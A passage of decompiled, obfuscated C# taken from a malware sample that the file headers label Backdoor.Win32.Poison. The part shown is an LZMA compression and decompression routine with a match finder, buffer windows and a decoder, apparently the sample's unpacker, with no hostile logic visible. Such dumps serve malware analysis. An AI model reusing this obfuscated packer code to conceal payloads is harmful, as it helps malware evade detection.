|
||||
num4 = 1U;
|
||||
}
|
||||
}
|
||||
this.\u0002\u001F[(IntPtr) (this.\u0003\u0007 + num6)] = this.\u0003\u001E;
|
||||
uint index7 = (uint) (((int) this.\u0002\u001D << 1) + 1);
|
||||
uint index8 = this.\u0002\u001D << 1;
|
||||
uint val2;
|
||||
uint val1 = val2 = this.\u0003\u000D;
|
||||
if (this.\u0003\u000D != 0U && num9 > num3 && (int) this.\u0003\u0018[(IntPtr) (this.\u0003\u0019 + num9 + this.\u0003\u000D)] != (int) this.\u0003\u0018[(IntPtr) (index1 + this.\u0003\u000D)])
|
||||
{
|
||||
uint[] numArray5 = distances;
|
||||
int num22 = (int) num2;
|
||||
uint num23 = (uint) (num22 + 1);
|
||||
uint index9 = (uint) num22;
|
||||
int num24;
|
||||
num4 = (uint) (num24 = (int) this.\u0003\u000D);
|
||||
numArray5[(IntPtr) index9] = (uint) num24;
|
||||
uint[] numArray6 = distances;
|
||||
int num25 = (int) num23;
|
||||
num2 = (uint) (num25 + 1);
|
||||
uint index10 = (uint) num25;
|
||||
int num26 = (int) this.\u0003\u001E - (int) num9 - 1;
|
||||
numArray6[(IntPtr) index10] = (uint) num26;
|
||||
}
|
||||
uint num27 = this.\u0002\u001C;
|
||||
while (num9 > num3 && num27-- != 0U)
|
||||
{
|
||||
uint num28 = this.\u0003\u001E - num9;
|
||||
uint index11 = (uint) ((num28 <= this.\u0002\u001D ? (int) this.\u0002\u001D - (int) num28 : (int) this.\u0002\u001D - (int) num28 + (int) this.\u0002\u001E) << 1);
|
||||
uint num29 = this.\u0003\u0019 + num9;
|
||||
uint num30 = Math.Min(val1, val2);
|
||||
if ((int) this.\u0003\u0018[(IntPtr) (num29 + num30)] == (int) this.\u0003\u0018[(IntPtr) (index1 + num30)])
|
||||
{
|
||||
do
|
||||
;
|
||||
while ((int) ++num30 != (int) num1 && (int) this.\u0003\u0018[(IntPtr) (num29 + num30)] == (int) this.\u0003\u0018[(IntPtr) (index1 + num30)]);
|
||||
if (num4 < num30)
|
||||
{
|
||||
uint[] numArray7 = distances;
|
||||
int num31 = (int) num2;
|
||||
uint num32 = (uint) (num31 + 1);
|
||||
uint index12 = (uint) num31;
|
||||
int num33;
|
||||
num4 = (uint) (num33 = (int) num30);
|
||||
numArray7[(IntPtr) index12] = (uint) num33;
|
||||
uint[] numArray8 = distances;
|
||||
int num34 = (int) num32;
|
||||
num2 = (uint) (num34 + 1);
|
||||
uint index13 = (uint) num34;
|
||||
int num35 = (int) num28 - 1;
|
||||
numArray8[(IntPtr) index13] = (uint) num35;
|
||||
if ((int) num30 == (int) num1)
|
||||
{
|
||||
this.\u0003\u0003[(IntPtr) index8] = this.\u0003\u0003[(IntPtr) index11];
|
||||
this.\u0003\u0003[(IntPtr) index7] = this.\u0003\u0003[(IntPtr) (index11 + 1U)];
|
||||
goto label_29;
|
||||
}
|
||||
}
|
||||
}
|
||||
if ((int) this.\u0003\u0018[(IntPtr) (num29 + num30)] < (int) this.\u0003\u0018[(IntPtr) (index1 + num30)])
|
||||
{
|
||||
this.\u0003\u0003[(IntPtr) index8] = num9;
|
||||
index8 = index11 + 1U;
|
||||
num9 = this.\u0003\u0003[(IntPtr) index8];
|
||||
val2 = num30;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.\u0003\u0003[(IntPtr) index7] = num9;
|
||||
index7 = index11;
|
||||
num9 = this.\u0003\u0003[(IntPtr) index7];
|
||||
val1 = num30;
|
||||
}
|
||||
}
|
||||
this.\u0003\u0003[(IntPtr) index7] = this.\u0003\u0003[(IntPtr) index8] = 0U;
|
||||
label_29:
|
||||
this.\u0002\u0015();
|
||||
return num2;
|
||||
}
|
||||
|
||||
public void \u0002\u001B(uint num)
|
||||
{
|
||||
do
|
||||
{
|
||||
uint num1;
|
||||
if (this.\u0003\u001E + this.\u0003\u0002 <= this.\u0004)
|
||||
{
|
||||
num1 = this.\u0003\u0002;
|
||||
}
|
||||
else
|
||||
{
|
||||
num1 = this.\u0004 - this.\u0003\u001E;
|
||||
if (num1 < this.\u0003\u000C)
|
||||
{
|
||||
this.\u0002\u0015();
|
||||
goto label_19;
|
||||
}
|
||||
}
|
||||
uint num2 = this.\u0003\u001E > this.\u0002\u001E ? this.\u0003\u001E - this.\u0002\u001E : 0U;
|
||||
uint index1 = this.\u0003\u0019 + this.\u0003\u001E;
|
||||
uint num3;
|
||||
if (this.\u0003\u0004)
|
||||
{
|
||||
uint num4 = \u0001\u0018.\u0002[(int) this.\u0003\u0018[(IntPtr) index1]] ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 1U)];
|
||||
this.\u0002\u001F[(IntPtr) (num4 & 1023U)] = this.\u0003\u001E;
|
||||
uint num5 = num4 ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 2U)] << 8;
|
||||
this.\u0002\u001F[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this.\u0003\u001E;
|
||||
num3 = (num5 ^ \u0001\u0018.\u0002[(int) this.\u0003\u0018[(IntPtr) (index1 + 3U)]] << 5) & this.\u0003;
|
||||
}
|
||||
else
|
||||
num3 = (uint) this.\u0003\u0018[(IntPtr) index1] ^ (uint) this.\u0003\u0018[(IntPtr) (index1 + 1U)] << 8;
|
||||
uint num6 = this.\u0002\u001F[(IntPtr) (this.\u0003\u0007 + num3)];
|
||||
this.\u0002\u001F[(IntPtr) (this.\u0003\u0007 + num3)] = this.\u0003\u001E;
|
||||
uint index2 = (uint) (((int) this.\u0002\u001D << 1) + 1);
|
||||
uint index3 = this.\u0002\u001D << 1;
|
||||
uint val2;
|
||||
uint val1 = val2 = this.\u0003\u000D;
|
||||
uint num7 = this.\u0002\u001C;
|
||||
while (num6 > num2 && num7-- != 0U)
|
||||
{
|
||||
uint num8 = this.\u0003\u001E - num6;
|
||||
uint index4 = (uint) ((num8 <= this.\u0002\u001D ? (int) this.\u0002\u001D - (int) num8 : (int) this.\u0002\u001D - (int) num8 + (int) this.\u0002\u001E) << 1);
|
||||
uint num9 = this.\u0003\u0019 + num6;
|
||||
uint num10 = Math.Min(val1, val2);
|
||||
if ((int) this.\u0003\u0018[(IntPtr) (num9 + num10)] == (int) this.\u0003\u0018[(IntPtr) (index1 + num10)])
|
||||
{
|
||||
do
|
||||
;
|
||||
while ((int) ++num10 != (int) num1 && (int) this.\u0003\u0018[(IntPtr) (num9 + num10)] == (int) this.\u0003\u0018[(IntPtr) (index1 + num10)]);
|
||||
if ((int) num10 == (int) num1)
|
||||
{
|
||||
this.\u0003\u0003[(IntPtr) index3] = this.\u0003\u0003[(IntPtr) index4];
|
||||
this.\u0003\u0003[(IntPtr) index2] = this.\u0003\u0003[(IntPtr) (index4 + 1U)];
|
||||
goto label_18;
|
||||
}
|
||||
}
|
||||
if ((int) this.\u0003\u0018[(IntPtr) (num9 + num10)] < (int) this.\u0003\u0018[(IntPtr) (index1 + num10)])
|
||||
{
|
||||
this.\u0003\u0003[(IntPtr) index3] = num6;
|
||||
index3 = index4 + 1U;
|
||||
num6 = this.\u0003\u0003[(IntPtr) index3];
|
||||
val2 = num10;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.\u0003\u0003[(IntPtr) index2] = num6;
|
||||
index2 = index4;
|
||||
num6 = this.\u0003\u0003[(IntPtr) index2];
|
||||
val1 = num10;
|
||||
}
|
||||
}
|
||||
this.\u0003\u0003[(IntPtr) index2] = this.\u0003\u0003[(IntPtr) index3] = 0U;
|
||||
label_18:
|
||||
this.\u0002\u0015();
|
||||
label_19:;
|
||||
}
|
||||
while (--num != 0U);
|
||||
}
|
||||
|
||||
private void \u0002\u0016(uint[] items, uint numItems, uint subValue)
|
||||
{
|
||||
for (uint index = 0; index < numItems; ++index)
|
||||
{
|
||||
uint num1 = items[(IntPtr) index];
|
||||
uint num2 = num1 > subValue ? num1 - subValue : 0U;
|
||||
items[(IntPtr) index] = num2;
|
||||
}
|
||||
}
|
||||
|
||||
private void \u0003\u0010()
|
||||
{
|
||||
uint subValue = this.\u0003\u001E - this.\u0002\u001E;
|
||||
this.\u0002\u0016(this.\u0003\u0003, this.\u0002\u001E * 2U, subValue);
|
||||
this.\u0002\u0016(this.\u0002\u001F, this.\u0003\u0001, subValue);
|
||||
this.\u0003\u0016((int) subValue);
|
||||
}
|
||||
|
||||
public void \u0002\u0018(uint cutValue) => this.\u0002\u001C = cutValue;
|
||||
}
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace \u0001\u0003
|
||||
{
|
||||
internal interface \u0003\u0011
|
||||
{
|
||||
void \u0002\u0019(Stream inStream);
|
||||
|
||||
void \u0001\u001B();
|
||||
|
||||
void \u0002\u0017();
|
||||
|
||||
byte \u0002\u0011(int index);
|
||||
|
||||
uint \u0002\u0013(int index, uint distance, uint limit);
|
||||
|
||||
uint \u0002\u0014();
|
||||
}
|
||||
}
|
||||
+127
@@ -0,0 +1,127 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace \u0001\u0003
|
||||
{
|
||||
public class \u0003\u0012
|
||||
{
|
||||
public byte[] \u0003\u0018;
|
||||
private Stream \u0004\u0001;
|
||||
private uint \u0003\u001D;
|
||||
private bool \u0003\u001F;
|
||||
private uint \u0003\u001C;
|
||||
public uint \u0003\u0019;
|
||||
public uint \u0003\u0017;
|
||||
public uint \u0003\u001E;
|
||||
private uint \u0003\u001B;
|
||||
private uint \u0003\u001A;
|
||||
public uint \u0004;
|
||||
|
||||
public void \u0003\u0014()
|
||||
{
|
||||
uint num1 = this.\u0003\u0019 + this.\u0003\u001E - this.\u0003\u001B;
|
||||
if (num1 > 0U)
|
||||
--num1;
|
||||
uint num2 = this.\u0003\u0019 + this.\u0004 - num1;
|
||||
for (uint index = 0; index < num2; ++index)
|
||||
this.\u0003\u0018[(IntPtr) index] = this.\u0003\u0018[(IntPtr) (num1 + index)];
|
||||
this.\u0003\u0019 -= num1;
|
||||
}
|
||||
|
||||
public virtual void \u0003\u0015()
|
||||
{
|
||||
if (this.\u0003\u001F)
|
||||
return;
|
||||
while (true)
|
||||
{
|
||||
do
|
||||
{
|
||||
int count = -(int) this.\u0003\u0019 + (int) this.\u0003\u0017 - (int) this.\u0004;
|
||||
if (count == 0)
|
||||
return;
|
||||
int num = this.\u0004\u0001.Read(this.\u0003\u0018, (int) this.\u0003\u0019 + (int) this.\u0004, count);
|
||||
if (num == 0)
|
||||
{
|
||||
this.\u0003\u001D = this.\u0004;
|
||||
if (this.\u0003\u0019 + this.\u0003\u001D > this.\u0003\u001C)
|
||||
this.\u0003\u001D = this.\u0003\u001C - this.\u0003\u0019;
|
||||
this.\u0003\u001F = true;
|
||||
return;
|
||||
}
|
||||
this.\u0004 += (uint) num;
|
||||
}
|
||||
while (this.\u0004 < this.\u0003\u001E + this.\u0003\u001A);
|
||||
this.\u0003\u001D = this.\u0004 - this.\u0003\u001A;
|
||||
}
|
||||
}
|
||||
|
||||
private void \u0003\u0013() => this.\u0003\u0018 = (byte[]) null;
|
||||
|
||||
public void \u0002\u0010(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv)
|
||||
{
|
||||
this.\u0003\u001B = keepSizeBefore;
|
||||
this.\u0003\u001A = keepSizeAfter;
|
||||
uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv;
|
||||
if (this.\u0003\u0018 == null || (int) this.\u0003\u0017 != (int) num)
|
||||
{
|
||||
this.\u0003\u0013();
|
||||
this.\u0003\u0017 = num;
|
||||
this.\u0003\u0018 = new byte[(IntPtr) this.\u0003\u0017];
|
||||
}
|
||||
this.\u0003\u001C = this.\u0003\u0017 - keepSizeAfter;
|
||||
}
|
||||
|
||||
public void \u0002\u0019(Stream stream) => this.\u0004\u0001 = stream;
|
||||
|
||||
public void \u0002\u0017() => this.\u0004\u0001 = (Stream) null;
|
||||
|
||||
public void \u0001\u001B()
|
||||
{
|
||||
this.\u0003\u0019 = 0U;
|
||||
this.\u0003\u001E = 0U;
|
||||
this.\u0004 = 0U;
|
||||
this.\u0003\u001F = false;
|
||||
this.\u0003\u0015();
|
||||
}
|
||||
|
||||
public void \u0002\u0015()
|
||||
{
|
||||
++this.\u0003\u001E;
|
||||
if (this.\u0003\u001E <= this.\u0003\u001D)
|
||||
return;
|
||||
if (this.\u0003\u0019 + this.\u0003\u001E > this.\u0003\u001C)
|
||||
this.\u0003\u0014();
|
||||
this.\u0003\u0015();
|
||||
}
|
||||
|
||||
public byte \u0002\u0011(int index) => this.\u0003\u0018[(long) (this.\u0003\u0019 + this.\u0003\u001E) + (long) index];
|
||||
|
||||
public uint \u0002\u0013(int index, uint distance, uint limit)
|
||||
{
|
||||
if (this.\u0003\u001F && (long) this.\u0003\u001E + (long) index + (long) limit > (long) this.\u0004)
|
||||
limit = this.\u0004 - (uint) ((ulong) this.\u0003\u001E + (ulong) index);
|
||||
++distance;
|
||||
uint num1 = (uint) ((int) this.\u0003\u0019 + (int) this.\u0003\u001E + index);
|
||||
uint num2 = 0;
|
||||
while (num2 < limit && (int) this.\u0003\u0018[(IntPtr) (num1 + num2)] == (int) this.\u0003\u0018[(IntPtr) (num1 + num2 - distance)])
|
||||
++num2;
|
||||
return num2;
|
||||
}
|
||||
|
||||
public uint \u0002\u0014() => this.\u0004 - this.\u0003\u001E;
|
||||
|
||||
public void \u0003\u0016(int subValue)
|
||||
{
|
||||
this.\u0003\u0019 += (uint) subValue;
|
||||
this.\u0003\u001D -= (uint) subValue;
|
||||
this.\u0003\u001E -= (uint) subValue;
|
||||
this.\u0004 -= (uint) subValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
+89
@@ -0,0 +1,89 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace \u0001\u0003
|
||||
{
|
||||
public class \u0004\u0002
|
||||
{
|
||||
private byte[] \u0004\u0008;
|
||||
private uint \u0003\u001E;
|
||||
private uint \u0004\u0009;
|
||||
private uint \u0004;
|
||||
private Stream \u0004\u0001;
|
||||
|
||||
public void \u0002\u0010(uint windowSize)
|
||||
{
|
||||
if ((int) this.\u0004\u0009 != (int) windowSize)
|
||||
this.\u0004\u0008 = new byte[(IntPtr) windowSize];
|
||||
this.\u0004\u0009 = windowSize;
|
||||
this.\u0003\u001E = 0U;
|
||||
this.\u0004 = 0U;
|
||||
}
|
||||
|
||||
public void \u0001\u001B(Stream stream, bool solid)
|
||||
{
|
||||
this.\u0002\u0017();
|
||||
this.\u0004\u0001 = stream;
|
||||
if (solid)
|
||||
return;
|
||||
this.\u0004 = 0U;
|
||||
this.\u0003\u001E = 0U;
|
||||
}
|
||||
|
||||
public void \u0001\u001B(Stream stream) => this.\u0001\u001B(stream, false);
|
||||
|
||||
public void \u0002\u0017()
|
||||
{
|
||||
this.\u0004\u0005();
|
||||
this.\u0004\u0001 = (Stream) null;
|
||||
}
|
||||
|
||||
public void \u0004\u0005()
|
||||
{
|
||||
uint count = this.\u0003\u001E - this.\u0004;
|
||||
if (count == 0U)
|
||||
return;
|
||||
this.\u0004\u0001.Write(this.\u0004\u0008, (int) this.\u0004, (int) count);
|
||||
if (this.\u0003\u001E >= this.\u0004\u0009)
|
||||
this.\u0003\u001E = 0U;
|
||||
this.\u0004 = this.\u0003\u001E;
|
||||
}
|
||||
|
||||
public void \u0004\u0004(uint distance, uint len)
|
||||
{
|
||||
uint num = (uint) ((int) this.\u0003\u001E - (int) distance - 1);
|
||||
if (num >= this.\u0004\u0009)
|
||||
num += this.\u0004\u0009;
|
||||
for (; len > 0U; --len)
|
||||
{
|
||||
if (num >= this.\u0004\u0009)
|
||||
num = 0U;
|
||||
this.\u0004\u0008[(IntPtr) this.\u0003\u001E++] = this.\u0004\u0008[(IntPtr) num++];
|
||||
if (this.\u0003\u001E >= this.\u0004\u0009)
|
||||
this.\u0004\u0005();
|
||||
}
|
||||
}
|
||||
|
||||
public void \u0004\u0007(byte b)
|
||||
{
|
||||
this.\u0004\u0008[(IntPtr) this.\u0003\u001E++] = b;
|
||||
if (this.\u0003\u001E < this.\u0004\u0009)
|
||||
return;
|
||||
this.\u0004\u0005();
|
||||
}
|
||||
|
||||
public byte \u0004\u0006(uint distance)
|
||||
{
|
||||
uint index = (uint) ((int) this.\u0003\u001E - (int) distance - 1);
|
||||
if (index >= this.\u0004\u0009)
|
||||
index += this.\u0004\u0009;
|
||||
return this.\u0004\u0008[(IntPtr) index];
|
||||
}
|
||||
}
|
||||
}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
namespace \u0001\u0004
|
||||
{
|
||||
internal abstract class \u0004\u000A
|
||||
{
|
||||
public const uint \u0005\u0005 = 4;
|
||||
public const uint \u0005\u0006 = 12;
|
||||
public const int \u0005 = 6;
|
||||
public const int \u0004\u000F = 0;
|
||||
public const int \u0004\u0017 = 2;
|
||||
public const uint \u0004\u0018 = 4;
|
||||
public const uint \u0004\u0012 = 2;
|
||||
public const int \u0004\u0013 = 4;
|
||||
public const uint \u0004\u000E = 16;
|
||||
public const uint \u0004\u000D = 15;
|
||||
public const uint \u0005\u0007 = 4;
|
||||
public const uint \u0004\u0010 = 14;
|
||||
public const uint \u0004\u001F = 10;
|
||||
public const uint \u0004\u0014 = 128;
|
||||
public const uint \u0004\u001A = 4;
|
||||
public const uint \u0004\u0019 = 8;
|
||||
public const int \u0005\u0002 = 4;
|
||||
public const uint \u0005\u0004 = 16;
|
||||
public const int \u0005\u0001 = 4;
|
||||
public const uint \u0005\u0003 = 16;
|
||||
public const int \u0004\u001B = 3;
|
||||
public const int \u0004\u001D = 3;
|
||||
public const int \u0004\u0015 = 8;
|
||||
public const uint \u0004\u001C = 8;
|
||||
public const uint \u0004\u001E = 8;
|
||||
public const uint \u0004\u0016 = 272;
|
||||
public const uint \u0004\u0011 = 273;
|
||||
|
||||
public static uint \u0004\u000C(uint len)
|
||||
{
|
||||
len -= 2U;
|
||||
return len < 4U ? len : 3U;
|
||||
}
|
||||
|
||||
public struct \u0005\u0012
|
||||
{
|
||||
public uint \u000B;
|
||||
|
||||
public void \u0001\u001B() => this.\u000B = 0U;
|
||||
|
||||
public void \u0005\u000A()
|
||||
{
|
||||
if (this.\u000B < 4U)
|
||||
this.\u000B = 0U;
|
||||
else if (this.\u000B < 10U)
|
||||
this.\u000B -= 3U;
|
||||
else
|
||||
this.\u000B -= 6U;
|
||||
}
|
||||
|
||||
public void \u0005\u000B() => this.\u000B = this.\u000B < 7U ? 7U : 10U;
|
||||
|
||||
public void \u0005\u000C() => this.\u000B = this.\u000B < 7U ? 8U : 11U;
|
||||
|
||||
public void \u0005\u000D() => this.\u000B = this.\u000B < 7U ? 9U : 11U;
|
||||
|
||||
public bool \u0005\u0008() => this.\u000B < 7U;
|
||||
}
|
||||
}
|
||||
}
|
||||
+341
@@ -0,0 +1,341 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe
|
||||
|
||||
using \u0001\u0002;
|
||||
using \u0001\u0003;
|
||||
using \u0001\u0004;
|
||||
using \u0001\u0005;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace \u0001\u0004
|
||||
{
|
||||
public class \u0006\u0005 : \u0002\u0004, \u0002\u0007
|
||||
{
|
||||
private \u0004\u0002 m_\u0004\u0003 = new \u0004\u0002();
|
||||
private \u0006\u0005 \u0006\u0002 = new \u0006\u0005();
|
||||
private \u0007\u0001[] \u0005\u0016 = new \u0007\u0001[new IntPtr(192)];
|
||||
private \u0007\u0001[] \u0005\u0018 = new \u0007\u0001[new IntPtr(12)];
|
||||
private \u0007\u0001[] \u0005\u0019 = new \u0007\u0001[new IntPtr(12)];
|
||||
private \u0007\u0001[] \u0005\u001A = new \u0007\u0001[new IntPtr(12)];
|
||||
private \u0007\u0001[] \u0005\u001B = new \u0007\u0001[new IntPtr(12)];
|
||||
private \u0007\u0001[] \u0005\u0017 = new \u0007\u0001[new IntPtr(192)];
|
||||
private \u0007\u0007[] \u0006 = new \u0007\u0007[new IntPtr(4)];
|
||||
private \u0007\u0001[] \u0005\u001F = new \u0007\u0001[new IntPtr(114)];
|
||||
private \u0007\u0007 \u0005\u001E = new \u0007\u0007(4);
|
||||
private \u0006\u0005.\u0006\u0004 \u0005\u001C = new \u0006\u0005.\u0006\u0004();
|
||||
private \u0006\u0005.\u0006\u0004 \u0006\u0003 = new \u0006\u0005.\u0006\u0004();
|
||||
private \u0006\u0005.\u0006\u000C \u0005\u001D = new \u0006\u0005.\u0006\u000C();
|
||||
private uint \u0005\u0014;
|
||||
private uint \u0005\u0015;
|
||||
private uint \u0006\u0001;
|
||||
|
||||
public \u0006\u0005()
|
||||
{
|
||||
this.\u0005\u0014 = uint.MaxValue;
|
||||
for (int index = 0; index < 4; ++index)
|
||||
this.\u0006[index] = new \u0007\u0007(6);
|
||||
}
|
||||
|
||||
private void \u0005\u0010(uint dictionarySize)
|
||||
{
|
||||
if ((int) this.\u0005\u0014 == (int) dictionarySize)
|
||||
return;
|
||||
this.\u0005\u0014 = dictionarySize;
|
||||
this.\u0005\u0015 = Math.Max(this.\u0005\u0014, 1U);
|
||||
this.m_\u0004\u0003.\u0002\u0010(Math.Max(this.\u0005\u0015, 4096U));
|
||||
}
|
||||
|
||||
private void \u0005\u0011(int lp, int lc)
|
||||
{
|
||||
if (lp > 8)
|
||||
throw new \u0002\u0005();
|
||||
if (lc > 8)
|
||||
throw new \u0002\u0005();
|
||||
this.\u0005\u001D.\u0002\u0010(lp, lc);
|
||||
}
|
||||
|
||||
private void \u0005\u0013(int pb)
|
||||
{
|
||||
if (pb > 4)
|
||||
throw new \u0002\u0005();
|
||||
uint numPosStates = (uint) (1 << pb);
|
||||
this.\u0005\u001C.\u0002\u0010(numPosStates);
|
||||
this.\u0006\u0003.\u0002\u0010(numPosStates);
|
||||
this.\u0006\u0001 = numPosStates - 1U;
|
||||
}
|
||||
|
||||
private void \u0001\u001B(Stream inStream, Stream outStream)
|
||||
{
|
||||
this.\u0006\u0002.\u0001\u001B(inStream);
|
||||
this.m_\u0004\u0003.\u0001\u001B(outStream);
|
||||
for (uint index1 = 0; index1 < 12U; ++index1)
|
||||
{
|
||||
for (uint index2 = 0; index2 <= this.\u0006\u0001; ++index2)
|
||||
{
|
||||
uint index3 = (index1 << 4) + index2;
|
||||
this.\u0005\u0016[(IntPtr) index3].\u0001\u001B();
|
||||
this.\u0005\u0017[(IntPtr) index3].\u0001\u001B();
|
||||
}
|
||||
this.\u0005\u0018[(IntPtr) index1].\u0001\u001B();
|
||||
this.\u0005\u0019[(IntPtr) index1].\u0001\u001B();
|
||||
this.\u0005\u001A[(IntPtr) index1].\u0001\u001B();
|
||||
this.\u0005\u001B[(IntPtr) index1].\u0001\u001B();
|
||||
}
|
||||
this.\u0005\u001D.\u0001\u001B();
|
||||
for (uint index = 0; index < 4U; ++index)
|
||||
this.\u0006[(IntPtr) index].\u0001\u001B();
|
||||
for (uint index = 0; index < 114U; ++index)
|
||||
this.\u0005\u001F[(IntPtr) index].\u0001\u001B();
|
||||
this.\u0005\u001C.\u0001\u001B();
|
||||
this.\u0006\u0003.\u0001\u001B();
|
||||
this.\u0005\u001E.\u0001\u001B();
|
||||
}
|
||||
|
||||
public void \u0007\u000D(
|
||||
Stream inStream,
|
||||
Stream outStream,
|
||||
long inSize,
|
||||
long outSize,
|
||||
\u0002\u0002 progress)
|
||||
{
|
||||
this.\u0001\u001B(inStream, outStream);
|
||||
\u0004\u000A.\u0005\u0012 obj = new \u0004\u000A.\u0005\u0012();
|
||||
obj.\u0001\u001B();
|
||||
uint distance = 0;
|
||||
uint num1 = 0;
|
||||
uint num2 = 0;
|
||||
uint num3 = 0;
|
||||
ulong pos = 0;
|
||||
ulong num4 = (ulong) outSize;
|
||||
if (pos < num4)
|
||||
{
|
||||
if (this.\u0005\u0016[(IntPtr) (obj.\u000B << 4)].\u0007\u000C(this.\u0006\u0002) != 0U)
|
||||
throw new \u0002\u0001();
|
||||
obj.\u0005\u000A();
|
||||
this.m_\u0004\u0003.\u0004\u0007(this.\u0005\u001D.\u0006\u000D(this.\u0006\u0002, 0U, (byte) 0));
|
||||
++pos;
|
||||
}
|
||||
while (pos < num4)
|
||||
{
|
||||
uint posState = (uint) pos & this.\u0006\u0001;
|
||||
if (this.\u0005\u0016[(IntPtr) ((obj.\u000B << 4) + posState)].\u0007\u000C(this.\u0006\u0002) == 0U)
|
||||
{
|
||||
byte prevByte = this.m_\u0004\u0003.\u0004\u0006(0U);
|
||||
this.m_\u0004\u0003.\u0004\u0007(obj.\u0005\u0008() ? this.\u0005\u001D.\u0006\u000D(this.\u0006\u0002, (uint) pos, prevByte) : this.\u0005\u001D.\u0006\u000E(this.\u0006\u0002, (uint) pos, prevByte, this.m_\u0004\u0003.\u0004\u0006(distance)));
|
||||
obj.\u0005\u000A();
|
||||
++pos;
|
||||
}
|
||||
else
|
||||
{
|
||||
uint len;
|
||||
if (this.\u0005\u0018[(IntPtr) obj.\u000B].\u0007\u000C(this.\u0006\u0002) == 1U)
|
||||
{
|
||||
if (this.\u0005\u0019[(IntPtr) obj.\u000B].\u0007\u000C(this.\u0006\u0002) == 0U)
|
||||
{
|
||||
if (this.\u0005\u0017[(IntPtr) ((obj.\u000B << 4) + posState)].\u0007\u000C(this.\u0006\u0002) == 0U)
|
||||
{
|
||||
obj.\u0005\u000D();
|
||||
this.m_\u0004\u0003.\u0004\u0007(this.m_\u0004\u0003.\u0004\u0006(distance));
|
||||
++pos;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
uint num5;
|
||||
if (this.\u0005\u001A[(IntPtr) obj.\u000B].\u0007\u000C(this.\u0006\u0002) == 0U)
|
||||
{
|
||||
num5 = num1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.\u0005\u001B[(IntPtr) obj.\u000B].\u0007\u000C(this.\u0006\u0002) == 0U)
|
||||
{
|
||||
num5 = num2;
|
||||
}
|
||||
else
|
||||
{
|
||||
num5 = num3;
|
||||
num3 = num2;
|
||||
}
|
||||
num2 = num1;
|
||||
}
|
||||
num1 = distance;
|
||||
distance = num5;
|
||||
}
|
||||
len = this.\u0006\u0003.\u0007\u000C(this.\u0006\u0002, posState) + 2U;
|
||||
obj.\u0005\u000C();
|
||||
}
|
||||
else
|
||||
{
|
||||
num3 = num2;
|
||||
num2 = num1;
|
||||
num1 = distance;
|
||||
len = 2U + this.\u0005\u001C.\u0007\u000C(this.\u0006\u0002, posState);
|
||||
obj.\u0005\u000B();
|
||||
uint num6 = this.\u0006[(IntPtr) \u0004\u000A.\u0004\u000C(len)].\u0007\u000C(this.\u0006\u0002);
|
||||
if (num6 >= 4U)
|
||||
{
|
||||
int num7 = (int) (num6 >> 1) - 1;
|
||||
uint num8 = (uint) ((2 | (int) num6 & 1) << num7);
|
||||
distance = num6 >= 14U ? num8 + (this.\u0006\u0002.\u0006\u001B(num7 - 4) << 4) + this.\u0005\u001E.\u0007\u000A(this.\u0006\u0002) : num8 + \u0007\u0007.\u0007\u000A(this.\u0005\u001F, (uint) ((int) num8 - (int) num6 - 1), this.\u0006\u0002, num7);
|
||||
}
|
||||
else
|
||||
distance = num6;
|
||||
}
|
||||
if ((ulong) distance >= pos || distance >= this.\u0005\u0015)
|
||||
{
|
||||
if (distance != uint.MaxValue)
|
||||
throw new \u0002\u0001();
|
||||
break;
|
||||
}
|
||||
this.m_\u0004\u0003.\u0004\u0004(distance, len);
|
||||
pos += (ulong) len;
|
||||
}
|
||||
}
|
||||
this.m_\u0004\u0003.\u0004\u0005();
|
||||
this.m_\u0004\u0003.\u0002\u0017();
|
||||
